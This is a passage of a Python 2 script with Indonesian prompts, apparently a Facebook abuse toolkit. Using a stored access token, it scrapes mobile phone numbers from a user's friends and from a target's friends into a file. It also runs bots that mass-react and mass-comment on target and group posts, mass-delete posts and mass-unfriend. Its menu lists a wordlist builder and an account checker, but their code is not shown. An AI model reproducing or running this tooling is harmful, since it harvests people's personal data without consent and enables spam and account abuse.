  1224.             print '\x1b[1;91m[!] Kesalahan saat membuat file'
  1225.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1226.             grab()
  1227.         except (KeyboardInterrupt, EOFError):
  1228.             print '\x1b[1;91m[!] Terhenti'
  1229.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1230.             grab()
  1231.         except requests.exceptions.ConnectionError:
  1232.             print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  1233.             keluar()
  1234.  
  1235.  
  1236. def nomor_hp():
  1237.     os.system('clear')
  1238.     try:
  1239.         toket = open('login.txt', 'r').read()
  1240.     except IOError:
  1241.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1242.         os.system('rm -rf login.txt')
  1243.         time.sleep(1)
  1244.         login()
  1245.     else:
  1246.         try:
  1247.             os.system('clear')
  1248.             print logo
  1249.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1250.             noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
  1251.             url = 'https://graph.facebook.com/me/friends?access_token=' + toket
  1252.             r = requests.get(url)
  1253.             z = json.loads(r.text)
  1254.             no = open(noms, 'w')
  1255.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1256.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1257.             for n in z['data']:
  1258.                 x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket)
  1259.                 z = json.loads(x.text)
  1260.                 try:
  1261.                     hp.append(z['mobile_phone'])
  1262.                     no.write(z['mobile_phone'] + '\n')
  1263.                     print '\r\x1b[1;92mNama\x1b[1;91m  :\x1b[1;97m ' + z['name']
  1264.                     print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone']
  1265.                     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1266.                 except KeyError:
  1267.                     pass
  1268.  
  1269.             print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hp)
  1270.             print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms
  1271.             no.close()
  1272.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1273.             grab()
  1274.         except IOError:
  1275.             print '\x1b[1;91m[!] Kesalahan saat membuat file'
  1276.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1277.             grab()
  1278.         except (KeyboardInterrupt, EOFError):
  1279.             print '\x1b[1;91m[!] Terhenti'
  1280.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1281.             grab()
  1282.         except KeyError:
  1283.             os.remove(noms)
  1284.             print '\x1b[1;91m[!] Kesalahan terjadi'
  1285.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1286.             grab()
  1287.         except requests.exceptions.ConnectionError:
  1288.             print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  1289.             keluar()
  1290.  
  1291.  
  1292. def hpfrom_teman():
  1293.     os.system('clear')
  1294.     try:
  1295.         toket = open('login.txt', 'r').read()
  1296.     except IOError:
  1297.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1298.         os.system('rm -rf login.txt')
  1299.         time.sleep(1)
  1300.         login()
  1301.     else:
  1302.         try:
  1303.             os.system('clear')
  1304.             print logo
  1305.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1306.             idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m')
  1307.             try:
  1308.                 jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
  1309.                 op = json.loads(jok.text)
  1310.                 print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
  1311.             except KeyError:
  1312.                 print '\x1b[1;91m[!] Belum berteman'
  1313.                 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1314.                 grab()
  1315.  
  1316.             noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
  1317.             r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket)
  1318.             a = json.loads(r.text)
  1319.             no = open(noms, 'w')
  1320.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1321.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1322.             for i in a['data']:
  1323.                 x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
  1324.                 z = json.loads(x.text)
  1325.                 try:
  1326.                     hpfromteman.append(z['mobile_phone'])
  1327.                     no.write(z['mobile_phone'] + '\n')
  1328.                     print '\r\x1b[1;92mNama\x1b[1;91m  :\x1b[1;97m ' + z['name']
  1329.                     print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone']
  1330.                     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1331.                 except KeyError:
  1332.                     pass
  1333.  
  1334.             print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hpfromteman)
  1335.             print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms
  1336.             no.close()
  1337.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1338.             grab()
  1339.         except IOError:
  1340.             print '\x1b[1;91m[!] Kesalahan saat membuat file'
  1341.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1342.             grab()
  1343.         except (KeyboardInterrupt, EOFError):
  1344.             print '\x1b[1;91m[!] Terhenti'
  1345.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1346.             grab()
  1347.         except requests.exceptions.ConnectionError:
  1348.             print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  1349.             keluar()
  1350.  
  1351.  
  1352. def menu_bot():
  1353.     os.system('clear')
  1354.     try:
  1355.         toket = open('login.txt', 'r').read()
  1356.     except IOError:
  1357.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1358.         os.system('rm -rf login.txt')
  1359.         time.sleep(1)
  1360.         login()
  1361.  
  1362.     os.system('clear')
  1363.     print logo
  1364.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1365.     print '\x1b[1;37;40m1. Bot Reactions Target Post'
  1366.     print '\x1b[1;37;40m2. Bot Reactions Grup Post'
  1367.     print '\x1b[1;37;40m3. Bot Komen Target Post'
  1368.     print '\x1b[1;37;40m4. Bot Komen Grup Post'
  1369.     print '\x1b[1;37;40m5. Mass delete Post'
  1370.     print '\x1b[1;37;40m6. Terima permintaan pertemanan'
  1371.     print '\x1b[1;37;40m7. Hapus pertemanan'
  1372.     print '\x1b[1;31;40m0. Kembali'
  1373.     print
  1374.     bot_pilih()
  1375.  
  1376.  
  1377. def bot_pilih():
  1378.     bots = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  1379.     if bots == '':
  1380.         print '\x1b[1;91m[!] Jangan kosong'
  1381.         bot_pilih()
  1382.     else:
  1383.         if bots == '1':
  1384.             menu_react()
  1385.         else:
  1386.             if bots == '2':
  1387.                 grup_react()
  1388.             else:
  1389.                 if bots == '3':
  1390.                     bot_komen()
  1391.                 else:
  1392.                     if bots == '4':
  1393.                         grup_komen()
  1394.                     else:
  1395.                         if bots == '5':
  1396.                             deletepost()
  1397.                         else:
  1398.                             if bots == '6':
  1399.                                 accept()
  1400.                             else:
  1401.                                 if bots == '7':
  1402.                                     unfriend()
  1403.                                 else:
  1404.                                     if bots == '0':
  1405.                                         menu()
  1406.                                     else:
  1407.                                         print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + bots + ' \x1b[1;91mTidak ada'
  1408.                                         bot_pilih()
  1409.  
  1410.  
  1411. def menu_react():
  1412.     os.system('clear')
  1413.     try:
  1414.         toket = open('login.txt', 'r').read()
  1415.     except IOError:
  1416.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1417.         os.system('rm -rf login.txt')
  1418.         time.sleep(1)
  1419.         login()
  1420.  
  1421.     os.system('clear')
  1422.     print logo
  1423.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1424.     print '\x1b[1;37;40m1. \x1b[1;97mLike'
  1425.     print '\x1b[1;37;40m2. \x1b[1;97mLove'
  1426.     print '\x1b[1;37;40m3. \x1b[1;97mWow'
  1427.     print '\x1b[1;37;40m4. \x1b[1;97mHaha'
  1428.     print '\x1b[1;37;40m5. \x1b[1;97mSedih'
  1429.     print '\x1b[1;37;40m6. \x1b[1;97mMarah'
  1430.     print '\x1b[1;31;40m0. Kembali'
  1431.     print
  1432.     react_pilih()
  1433.  
  1434.  
  1435. def react_pilih():
  1436.     global tipe
  1437.     aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  1438.     if aksi == '':
  1439.         print '\x1b[1;91m[!] Jangan kosong'
  1440.         react_pilih()
  1441.     else:
  1442.         if aksi == '1':
  1443.             tipe = 'LIKE'
  1444.             react()
  1445.         else:
  1446.             if aksi == '2':
  1447.                 tipe = 'LOVE'
  1448.                 react()
  1449.             else:
  1450.                 if aksi == '3':
  1451.                     tipe = 'WOW'
  1452.                     react()
  1453.                 else:
  1454.                     if aksi == '4':
  1455.                         tipe = 'HAHA'
  1456.                         react()
  1457.                     else:
  1458.                         if aksi == '5':
  1459.                             tipe = 'SAD'
  1460.                             react()
  1461.                         else:
  1462.                             if aksi == '6':
  1463.                                 tipe = 'ANGRY'
  1464.                                 react()
  1465.                             else:
  1466.                                 if aksi == '0':
  1467.                                     menu_bot()
  1468.                                 else:
  1469.                                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada'
  1470.                                     react_pilih()
  1471.  
  1472.  
  1473. def react():
  1474.     os.system('clear')
  1475.     try:
  1476.         toket = open('login.txt', 'r').read()
  1477.     except IOError:
  1478.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1479.         os.system('rm -rf login.txt')
  1480.         time.sleep(1)
  1481.         login()
  1482.     else:
  1483.         os.system('clear')
  1484.         print logo
  1485.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1486.         ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ')
  1487.         limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
  1488.         try:
  1489.             oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket)
  1490.             ah = json.loads(oh.text)
  1491.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1492.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1493.             for a in ah['feed']['data']:
  1494.                 y = a['id']
  1495.                 reaksi.append(y)
  1496.                 requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket)
  1497.                 print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe
  1498.  
  1499.             print
  1500.             print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksi))
  1501.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1502.             menu_bot()
  1503.         except KeyError:
  1504.             print '\x1b[1;91m[!] ID Tidak ditemukan'
  1505.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1506.             menu_bot()
  1507.  
  1508.  
  1509. def grup_react():
  1510.     os.system('clear')
  1511.     try:
  1512.         toket = open('login.txt', 'r').read()
  1513.     except IOError:
  1514.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1515.         os.system('rm -rf login.txt')
  1516.         time.sleep(1)
  1517.         login()
  1518.  
  1519.     os.system('clear')
  1520.     print logo
  1521.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1522.     print '\x1b[1;37;40m1. \x1b[1;97mLike'
  1523.     print '\x1b[1;37;40m2. \x1b[1;97mLove'
  1524.     print '\x1b[1;37;40m3. \x1b[1;97mWow'
  1525.     print '\x1b[1;37;40m4. \x1b[1;97mHaha'
  1526.     print '\x1b[1;37;40m5. \x1b[1;97mSedih'
  1527.     print '\x1b[1;37;40m6. \x1b[1;97mMarah'
  1528.     print '\x1b[1;31;40m0. Kembali'
  1529.     print
  1530.     reactg_pilih()
  1531.  
  1532.  
  1533. def reactg_pilih():
  1534.     global tipe
  1535.     aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  1536.     if aksi == '':
  1537.         print '\x1b[1;91m[!] Jangan kosong'
  1538.         reactg_pilih()
  1539.     else:
  1540.         if aksi == '1':
  1541.             tipe = 'LIKE'
  1542.             reactg()
  1543.         else:
  1544.             if aksi == '2':
  1545.                 tipe = 'LOVE'
  1546.                 reactg()
  1547.             else:
  1548.                 if aksi == '3':
  1549.                     tipe = 'WOW'
  1550.                     reactg()
  1551.                 else:
  1552.                     if aksi == '4':
  1553.                         tipe = 'HAHA'
  1554.                         reactg()
  1555.                     else:
  1556.                         if aksi == '5':
  1557.                             tipe = 'SAD'
  1558.                             reactg()
  1559.                         else:
  1560.                             if aksi == '6':
  1561.                                 tipe = 'ANGRY'
  1562.                                 reactg()
  1563.                             else:
  1564.                                 if aksi == '0':
  1565.                                     menu_bot()
  1566.                                 else:
  1567.                                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada'
  1568.                                     reactg_pilih()
  1569.  
  1570.  
  1571. def reactg():
  1572.     os.system('clear')
  1573.     try:
  1574.         toket = open('login.txt', 'r').read()
  1575.     except IOError:
  1576.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1577.         os.system('rm -rf login.txt')
  1578.         time.sleep(1)
  1579.         login()
  1580.     else:
  1581.         os.system('clear')
  1582.         print logo
  1583.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1584.         ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ')
  1585.         limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
  1586.         ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket)
  1587.         asw = json.loads(ah.text)
  1588.         print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name']
  1589.         try:
  1590.             oh = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket)
  1591.             ah = json.loads(oh.text)
  1592.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1593.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1594.             for a in ah['feed']['data']:
  1595.                 y = a['id']
  1596.                 reaksigrup.append(y)
  1597.                 requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket)
  1598.                 print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe
  1599.  
  1600.             print
  1601.             print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksigrup))
  1602.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1603.             menu_bot()
  1604.         except KeyError:
  1605.             print '\x1b[1;91m[!] ID Tidak ditemukan'
  1606.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1607.             menu_bot()
  1608.  
  1609.  
  1610. def bot_komen():
  1611.     os.system('clear')
  1612.     try:
  1613.         toket = open('login.txt', 'r').read()
  1614.     except IOError:
  1615.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1616.         os.system('rm -rf login.txt')
  1617.         time.sleep(1)
  1618.         login()
  1619.     else:
  1620.         os.system('clear')
  1621.         print logo
  1622.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1623.         print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru"
  1624.         ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ')
  1625.         km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar  \x1b[1;91m:\x1b[1;97m ')
  1626.         limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
  1627.         km = km.replace('<>', '\n')
  1628.         try:
  1629.             p = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket)
  1630.             a = json.loads(p.text)
  1631.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1632.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1633.             for s in a['feed']['data']:
  1634.                 f = s['id']
  1635.                 komen.append(f)
  1636.                 requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket)
  1637.                 print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]'
  1638.  
  1639.             print
  1640.             print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komen))
  1641.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1642.             menu_bot()
  1643.         except KeyError:
  1644.             print '\x1b[1;91m[!] ID Tidak ditemukan'
  1645.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1646.             menu_bot()
  1647.  
  1648.  
  1649. def grup_komen():
  1650.     os.system('clear')
  1651.     try:
  1652.         toket = open('login.txt', 'r').read()
  1653.     except IOError:
  1654.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1655.         os.system('rm -rf login.txt')
  1656.         time.sleep(1)
  1657.         login()
  1658.     else:
  1659.         os.system('clear')
  1660.         print logo
  1661.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1662.         print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru"
  1663.         ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup  \x1b[1;91m:\x1b[1;97m ')
  1664.         km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ')
  1665.         limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
  1666.         km = km.replace('<>', '\n')
  1667.         try:
  1668.             ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket)
  1669.             asw = json.loads(ah.text)
  1670.             print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name']
  1671.             p = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket)
  1672.             a = json.loads(p.text)
  1673.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1674.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1675.             for s in a['feed']['data']:
  1676.                 f = s['id']
  1677.                 komengrup.append(f)
  1678.                 requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket)
  1679.                 print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]'
  1680.  
  1681.             print
  1682.             print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komengrup))
  1683.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1684.             menu_bot()
  1685.         except KeyError:
  1686.             print '\x1b[1;91m[!] ID Tidak ditemukan'
  1687.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1688.             menu_bot()
  1689.  
  1690.  
  1691. def deletepost():
  1692.     os.system('clear')
  1693.     try:
  1694.         toket = open('login.txt', 'r').read()
  1695.         nam = requests.get('https://graph.facebook.com/me?access_token=' + toket)
  1696.         lol = json.loads(nam.text)
  1697.         nama = lol['name']
  1698.     except IOError:
  1699.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1700.         os.system('rm -rf login.txt')
  1701.         time.sleep(1)
  1702.         login()
  1703.  
  1704.     os.system('clear')
  1705.     print logo
  1706.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1707.     print '\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%s' % nama
  1708.     jalan('\x1b[1;91m[+] \x1b[1;92mMulai menghapus postingan unfaedah\x1b[1;97m ...')
  1709.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1710.     asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket)
  1711.     asus = json.loads(asu.text)
  1712.     for p in asus['data']:
  1713.         id = p['id']
  1714.         piro = 0
  1715.         url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket)
  1716.         ok = json.loads(url.text)
  1717.         try:
  1718.             error = ok['error']['message']
  1719.             print '\x1b[1;91m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;91m] \x1b[1;95mGagal'
  1720.         except TypeError:
  1721.             print '\x1b[1;92m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;92m] \x1b[1;96mTerhapus'
  1722.             piro += 1
  1723.         except requests.exceptions.ConnectionError:
  1724.             print '\x1b[1;91m[!] Koneksi Error'
  1725.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1726.             menu_bot()
  1727.  
  1728.     print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
  1729.     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1730.     menu_bot()
  1731.  
  1732.  
  1733. def accept():
  1734.     os.system('clear')
  1735.     try:
  1736.         toket = open('login.txt', 'r').read()
  1737.     except IOError:
  1738.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1739.         os.system('rm -rf login.txt')
  1740.         time.sleep(1)
  1741.         login()
  1742.  
  1743.     os.system('clear')
  1744.     print logo
  1745.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1746.     limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
  1747.     r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket)
  1748.     teman = json.loads(r.text)
  1749.     if '[]' in str(teman['data']):
  1750.         print '\x1b[1;91m[!] Tidak ada permintaan pertemanan'
  1751.         raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1752.         menu_bot()
  1753.     jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1754.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1755.     for i in teman['data']:
  1756.         gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket)
  1757.         a = json.loads(gas.text)
  1758.         if 'error' in str(a):
  1759.             print '\x1b[1;91m[+] \x1b[1;92mNama  \x1b[1;91m:\x1b[1;97m ' + i['from']['name']
  1760.             print '\x1b[1;91m[+] \x1b[1;92mID    \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;91m Gagal'
  1761.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1762.         else:
  1763.             print '\x1b[1;91m[+] \x1b[1;92mNama  \x1b[1;91m:\x1b[1;97m ' + i['from']['name']
  1764.             print '\x1b[1;91m[+] \x1b[1;92mID    \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;92m Berhasil'
  1765.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1766.  
  1767.     print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
  1768.     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1769.     menu_bot()
  1770.  
  1771.  
  1772. def unfriend():
  1773.     os.system('clear')
  1774.     try:
  1775.         toket = open('login.txt', 'r').read()
  1776.     except IOError:
  1777.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1778.         os.system('rm -rf login.txt')
  1779.         time.sleep(1)
  1780.         login()
  1781.     else:
  1782.         os.system('clear')
  1783.         print logo
  1784.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1785.         jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1786.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1787.         print '\x1b[1;97mStop \x1b[1;91mCTRL+C'
  1788.         print
  1789.         try:
  1790.             pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
  1791.             cok = json.loads(pek.text)
  1792.             for i in cok['data']:
  1793.                 nama = i['name']
  1794.                 id = i['id']
  1795.                 requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket)
  1796.                 print '\x1b[1;97m[\x1b[1;92mTerhapus\x1b[1;97m] ' + nama + ' => ' + id
  1797.  
  1798.         except IndexError:
  1799.             pass
  1800.         except KeyboardInterrupt:
  1801.             print '\x1b[1;91m[!] Terhenti'
  1802.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1803.             menu_bot()
  1804.  
  1805.     print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
  1806.     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1807.     menu_bot()
  1808.  
  1809.  
  1810. def lain():
  1811.     os.system('clear')
  1812.     try:
  1813.         toket = open('login.txt', 'r').read()
  1814.     except IOError:
  1815.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1816.         os.system('rm -rf login.txt')
  1817.         time.sleep(1)
  1818.         login()
  1819.  
  1820.     os.system('clear')
  1821.     print logo
  1822.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1823.     print '\x1b[1;37;40m1. Buat postingan'
  1824.     print '\x1b[1;37;40m2. Buat Wordlist'
  1825.     print '\x1b[1;37;40m3. Akun Checker'
  1826.     print '\x1b[1;37;40m4. Lihat daftar grup'
  1827.     print '\x1b[1;37;40m5. Profile Guard'
  1828.     print
  1829.     print '\x1b[1;97m  ->Coming soon<-'
  1830.     print
  1831.     print '\x1b[1;31;40m0. Kembali'
  1832.     print
  1833.     pilih_lain()
  1834.  
  1835.  
  1836. def pilih_lain():
  1837.     other = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  1838.     if other == '':
  1839.         print '\x1b[1;91m[!] Jangan kosong'
  1840.         pilih_lain()
  1841.     else:
  1842.         if other == '1':
  1843.             status()
  1844.         else:
  1845.             if other == '2':
  1846.                 wordlist()
  1847.             else:
  1848.                 if other == '3':
  1849.                     check_akun()
  1850.                 else:
  1851.                     if other == '4':
  1852.                         grupsaya()
  1853.                     else:
  1854.                         if other == '5':
  1855.                             guard()
  1856.                         else:
  1857.                             if other == '0':
  1858.                                 menu()
  1859.                             else:
  1860.                                 print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + other + ' \x1b[1;91mTidak ada'
  1861.                                 pilih_lain()
  1862.  
  1863.  
  1864. def status():
  1865.     os.system('clear')
  1866.     try:
  1867.         toket = open('login.txt', 'r').read()
  1868.     except IOError:
  1869.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1870.         os.system('rm -rf login.txt')
  1871.         time.sleep(1)
  1872.         login()
  1873.  
  1874.     os.system('clear')
  1875.     print logo
  1876.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1877.     msg = raw_input('\x1b[1;91m[+] \x1b[1;92mKetik status \x1b[1;91m:\x1b[1;97m ')
  1878.     if msg == '':
  1879.         print '\x1b[1;91m[!] Jangan kosong'
  1880.         raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1881.         lain()
  1882.     else:
  1883.         res = requests.get('https://graph.facebook.com/me/feed?method=POST&message=' + msg + '&access_token=' + toket)
  1884.         op = json.loads(res.text)
  1885.         jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1886.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1887.         print '\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97m' + op['id']
  1888.         raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1889.         lain()
  1890.  
  1891.  
  1892. def wordlist():
  1893.     os.system('clear')
  1894.     try:
  1895.         toket = open('login.txt', 'r').read()
  1896.     except IOError:
  1897.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1898.         os.system('rm -rf login.txt')
  1899.         time.sleep(1)
  1900.         login()
  1901.     else:
  1902.         try:
  1903.             os.system('clear')
  1904.             print logo
  1905.             print 40 * '\x1b[1;97m\xe2\x95\x90'
